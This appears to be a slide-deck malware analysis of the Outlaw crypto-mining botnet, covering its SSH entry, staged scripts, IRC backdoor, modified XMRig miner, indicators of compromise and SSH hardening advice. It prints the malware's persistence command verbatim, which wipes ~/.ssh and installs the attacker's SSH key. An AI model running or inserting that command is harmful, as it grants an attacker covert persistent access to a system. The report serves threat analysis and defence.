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Introduction

• In a recent incident response case in Brazil, we dealt with a relatively 
simple, yet very effective threat focused on Linux environments.

• Outlaw (also known as "Dota") is a Perl-based crypto mining botnet 
that typically takes advantage of weak or default SSH credentials for 
its operations.



Analysis

• We started the analysis by gathering relevant evidence from a 
compromised Linux system.

• We identified an odd authorized SSH key for a user called suporte (in 
a Portuguese-speaking environment, this is an account typically used 
for administrative tasks in the operating system). 



Analysis

• After the initial SSH compromise, the 
threat actor downloads the first-stage 
script, tddwrt7s.sh, using utilities like 
wget or curl.

• This artifact is responsible for 
downloading the dota.tar.gz file from 
the attackers' server.



Analysis

• After the decompression, a 
hidden directory, named 
".configrc5", was created 
in the user's home 
directory:



Analysis

• Interestingly enough, one of the first execution steps is checking if 
other known miners are present on the machine using the script 
a/init0:



Analysis

• The script also kills processes that are not whitelisted:
• (CPU usage > 40%) and not (kswapd0, tsm, rsync, tor, httpd, blitz, or 

mass).



Analysis

• After the process checks and killing are done, the b/run file is 
executed.

• This artifact is responsible for maintaining persistence on the infected 
machine and executing next-stage malware from its code.

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa 
AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcB
Ox8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9
eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylA
KGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14
ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== 
mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh



Analysis

• The next-stage malware is a Base64-encoded string inside the b/run 
script that, once decoded, reveals another level of obfuscation: this 
time an obfuscated Perl script. 



Analysis

• This Perl script is an IRC-based 
botnet client that acts as a 
backdoor on a compromised 
system.

• Upon execution, it disguises itself 
as an rsync process, creates a 
copy of itself in the background, 
and ignores termination signals.



Analysis

• XMRig miner:
• Another file from the hidden directory, a/kswapd0, is an ELF packed using 

UPX.



Analysis

• By querying the hash on threat intelligence portals and by statically 
analyzing the sample, it became clear that this binary is a malicious 
modified version of XMRig (6.19.0), a cryptocurrency miner.



Analysis

• We also found a configuration file embedded in the binary: 



Victims

• Affected countries:



Victims

• Victims by month:



Recommendations

• We recommend that system administrators adopt a proactive 
approach to hardening their servers.

• Even simple practices, such as using key-based authentication, can be 
highly effective.

• The /etc/ssh/sshd_config file allows for the use of several additional 
parameters to improve security.
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Recommendations - SSH configuration example:

Protocol 2

Port 2222

LoginGraceTime 10

PermitRootLogin no

MaxAuthTries 3

IgnoreRhosts yes

PubkeyAuthentication yes

PasswordAuthentication no

PermitEmptyPasswords no

UsePAM yes
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
PrintMotd no
PrintLastLog yes
PermitUserEnvironment no
ClientAliveInterval 300
ClientAliveCountMax 2
PermitTunnel no

Banner /etc/ssh/custom_banner
AllowUsers *@10.10.10.217



Conclusion

• By focusing on weak or default SSH credentials, Outlaw keeps 
improving and broadening its Linux-focused toolkit.

• By hardening SSH configurations, keeping an eye out for questionable 
processes, and limiting SSH access to trustworthy users and networks, 
system administrators can greatly lessen this hazard.



Tactics, techniques and procedures



Indicators of compromise

• 15f7c9af535f4390b14ba03ddb990c732212dde8 (a)

• 982c0318414c3fdf82e3726c4ef4e9021751bbd9 (init0)

• f2b4bc2244ea8596a2a2a041308aa75088b6bbd5 (kswapd0)

• 4d5838c760238b77d792c99e64bd962e73e28435 (run)

• d0ba24f9fad04720dff79f146769d0d8120bf2ff (decoded Perl script)

• 45[.]9[.]148[.]99 (Attacker’s C2)

• 483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh2
6iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS (Monero wallet)

https://opentip.kaspersky.com/15f7c9af535f4390b14ba03ddb990c732212dde8/results
https://opentip.kaspersky.com/982c0318414c3fdf82e3726c4ef4e9021751bbd9/results
https://opentip.kaspersky.com/f2b4bc2244ea8596a2a2a041308aa75088b6bbd5/results
https://opentip.kaspersky.com/4d5838c760238b77d792c99e64bd962e73e28435/results
https://opentip.kaspersky.com/45.9.148.99
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